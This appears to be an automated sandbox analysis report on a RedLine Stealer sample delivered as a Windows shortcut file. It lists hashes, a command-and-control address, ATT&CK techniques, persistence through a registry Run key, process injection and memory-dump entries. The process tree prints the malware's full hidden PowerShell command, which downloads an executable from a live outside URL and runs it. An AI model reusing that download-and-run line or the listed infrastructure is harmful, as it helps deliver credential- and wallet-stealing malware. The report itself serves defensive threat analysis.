redline | a517abf69af75cef34cc2db14981ea42b2ef4424c140e37363f80badb2353c6c

General

Target

07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk
Size

2KB
MD5

ef7f9739337bc657cd0a63e32e27d0a1
SHA1

bf67555a7272f24ceb57b1c49e4cf37dc17b246f
SHA256

a517abf69af75cef34cc2db14981ea42b2ef4424c140e37363f80badb2353c6c
SHA512

e3d0a14ac1b9165e75e619aa6f76058a4c799bb722abaeafac977c35f31ab10ad8c8a51c7f3828bb896cbf339f971974a4fb26421ba6aea52530ac84b7785ada

Score

10^/10

redline cheat discovery infostealer persistence spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe

Extracted

Family

redline

Botnet

cheat

C2

194.26.192.248:7053

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3132-151-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

9 3088 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

svhost.exesvhost.exe

pid process

3124 svhost.exe
3132 svhost.exe

flow	pid	process
9	3088	powershell.exe

pid	process
3124	svhost.exe
3132	svhost.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exesvhost.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	svhost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

svhost.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Opgcxhsdw = "\"C:\\Users\\Admin\\AppData\\Roaming\\Hribpuz\\Opgcxhsdw.exe\""	svhost.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Suspicious use of SetThreadContext 1 IoCs

Processes:

svhost.exe

description pid process target process

PID 3124 set thread context of 3132 3124 svhost.exe svhost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exesvhost.exe

pid process

3088 powershell.exe
3088 powershell.exe
776 powershell.exe
776 powershell.exe
3132 svhost.exe
3132 svhost.exe

description	pid	process	target process
PID 3124 set thread context of 3132	3124	svhost.exe	svhost.exe

pid	process
3088	powershell.exe
3088	powershell.exe
776	powershell.exe
776	powershell.exe
3132	svhost.exe
3132	svhost.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exesvhost.exepowershell.exesvhost.exe

description	pid	process
Token: SeDebugPrivilege	3088	powershell.exe
Token: SeDebugPrivilege	3124	svhost.exe
Token: SeDebugPrivilege	776	powershell.exe
Token: SeDebugPrivilege	3132	svhost.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

cmd.exepowershell.exesvhost.exe

description	pid	process	target process
PID 5088 wrote to memory of 3088	5088	cmd.exe	powershell.exe
PID 5088 wrote to memory of 3088	5088	cmd.exe	powershell.exe
PID 3088 wrote to memory of 3124	3088	powershell.exe	svhost.exe
PID 3088 wrote to memory of 3124	3088	powershell.exe	svhost.exe
PID 3088 wrote to memory of 3124	3088	powershell.exe	svhost.exe
PID 3124 wrote to memory of 776	3124	svhost.exe	powershell.exe
PID 3124 wrote to memory of 776	3124	svhost.exe	powershell.exe
PID 3124 wrote to memory of 776	3124	svhost.exe	powershell.exe
PID 3124 wrote to memory of 3132	3124	svhost.exe	svhost.exe
PID 3124 wrote to memory of 3132	3124	svhost.exe	svhost.exe
PID 3124 wrote to memory of 3132	3124	svhost.exe	svhost.exe
PID 3124 wrote to memory of 3132	3124	svhost.exe	svhost.exe
PID 3124 wrote to memory of 3132	3124	svhost.exe	svhost.exe
PID 3124 wrote to memory of 3132	3124	svhost.exe	svhost.exe
PID 3124 wrote to memory of 3132	3124	svhost.exe	svhost.exe
PID 3124 wrote to memory of 3132	3124	svhost.exe	svhost.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5088

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe','C:\Users\Admin\AppData\Roaming\svhost.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\svhost.exe'
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3088

C:\Users\Admin\AppData\Roaming\svhost.exe
"C:\Users\Admin\AppData\Roaming\svhost.exe"
3⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3124

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:776

C:\Users\Admin\AppData\Roaming\svhost.exe
C:\Users\Admin\AppData\Roaming\svhost.exe
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3132

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

2

T1081

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

2

T1005

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\svhost.exe.log
Filesize
1KB

MD5
a713c363be116d5ed1f971db6a657e4f

SHA1
90791863564c9ed38e7b4f047022dec4474060a1

SHA256
4b5c446ec8ed2a2696ba00a0890763d413006ce1ea1a7a32fda1655720aef46e

SHA512
5dc740414a6ec30908e924f3bdfae2f761a35a476ef2dda239b789575a0a3696169deb6dc84a14d5828eaa5644623f107b2c686bfa4f54a90f0688239b4b1739

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
8d80c45e0e047b75073a3d1c2710c68f

SHA1
babc73cf30327b36d184239a2747ec94d48929f4

SHA256
6859c4cad4b17bf02f7f25d9b5b9633491a29c1420ccbdf9342a459d5be05e64

SHA512
5da876ce855d1d9a031899d283bf2ac6c53c4d14982a1300e4d128cbde46202a259d1299dfb40c81fcfe5fb6770fb00f404673c13967800392f8f8442a5d2d24

Download Submit
C:\Users\Admin\AppData\Roaming\svhost.exe
Filesize
1.2MB

MD5
d3713110654dc546bd5edc306a6e7efd

SHA1
db266e554e96098584bcbb29aa2774106a7e90bf

SHA256
97bfa0bd9f3b382280f67839c650a3d7be16aa31f124810f3a9b9559e34619c6

SHA512
35013774da17edf34b0d632766d54a55609d4c68b12da758b26016e5590f349f0a5dd475041cc7dbf02960a67214f9917da34b4c0d7bacdd839865d31fed8de6

Download Submit
C:\Users\Admin\AppData\Roaming\svhost.exe
Filesize
1.2MB

MD5
d3713110654dc546bd5edc306a6e7efd

SHA1
db266e554e96098584bcbb29aa2774106a7e90bf

SHA256
97bfa0bd9f3b382280f67839c650a3d7be16aa31f124810f3a9b9559e34619c6

SHA512
35013774da17edf34b0d632766d54a55609d4c68b12da758b26016e5590f349f0a5dd475041cc7dbf02960a67214f9917da34b4c0d7bacdd839865d31fed8de6

Download Submit
C:\Users\Admin\AppData\Roaming\svhost.exe
Filesize
1.2MB

MD5
d3713110654dc546bd5edc306a6e7efd

SHA1
db266e554e96098584bcbb29aa2774106a7e90bf

SHA256
97bfa0bd9f3b382280f67839c650a3d7be16aa31f124810f3a9b9559e34619c6

SHA512
35013774da17edf34b0d632766d54a55609d4c68b12da758b26016e5590f349f0a5dd475041cc7dbf02960a67214f9917da34b4c0d7bacdd839865d31fed8de6

Download Submit
memory/776-144-0x0000000005CD0000-0x0000000005D36000-memory.dmp

Filesize
408KB

Download
memory/776-141-0x0000000000000000-mapping.dmp

Download
memory/776-142-0x0000000002EB0000-0x0000000002EE6000-memory.dmp

Filesize
216KB

Download
memory/776-143-0x0000000005630000-0x0000000005C58000-memory.dmp

Filesize
6.2MB

Download
memory/776-149-0x0000000006970000-0x000000000698A000-memory.dmp

Filesize
104KB

Download
memory/776-145-0x0000000005E40000-0x0000000005EA6000-memory.dmp

Filesize
408KB

Download
memory/776-147-0x0000000006470000-0x000000000648E000-memory.dmp

Filesize
120KB

Download
memory/776-148-0x0000000007A90000-0x000000000810A000-memory.dmp

Filesize
6.5MB

Download
memory/3088-137-0x00007FFC3AB80000-0x00007FFC3B641000-memory.dmp

Filesize
10.8MB

Download
memory/3088-134-0x00007FFC3AB80000-0x00007FFC3B641000-memory.dmp

Filesize
10.8MB

Download
memory/3088-132-0x0000000000000000-mapping.dmp

Download
memory/3088-133-0x0000021E5D930000-0x0000021E5D952000-memory.dmp

Filesize
136KB

Download
memory/3124-140-0x0000000005730000-0x0000000005752000-memory.dmp

Filesize
136KB

Download
memory/3124-139-0x0000000000850000-0x000000000098A000-memory.dmp

Filesize
1.2MB

Download
memory/3124-135-0x0000000000000000-mapping.dmp

Download
memory/3132-156-0x0000000005300000-0x000000000533C000-memory.dmp

Filesize
240KB

Download
memory/3132-151-0x0000000000400000-0x000000000041E000-memory.dmp

Filesize
120KB

Download
memory/3132-154-0x0000000005980000-0x0000000005F98000-memory.dmp

Filesize
6.1MB

Download
memory/3132-155-0x00000000052A0000-0x00000000052B2000-memory.dmp

Filesize
72KB

Download
memory/3132-150-0x0000000000000000-mapping.dmp

Download
memory/3132-157-0x00000000055B0000-0x00000000056BA000-memory.dmp

Filesize
1.0MB

Download
memory/3132-158-0x0000000006890000-0x0000000006A52000-memory.dmp

Filesize
1.8MB

Download
memory/3132-159-0x0000000006F90000-0x00000000074BC000-memory.dmp

Filesize
5.2MB

Download
memory/3132-160-0x0000000006C30000-0x0000000006CA6000-memory.dmp

Filesize
472KB

Download
memory/3132-161-0x0000000006DA0000-0x0000000006E32000-memory.dmp

Filesize
584KB

Download
memory/3132-162-0x0000000007A70000-0x0000000008014000-memory.dmp

Filesize
5.6MB

Download
memory/3132-163-0x0000000006F70000-0x0000000006F8E000-memory.dmp

Filesize
120KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads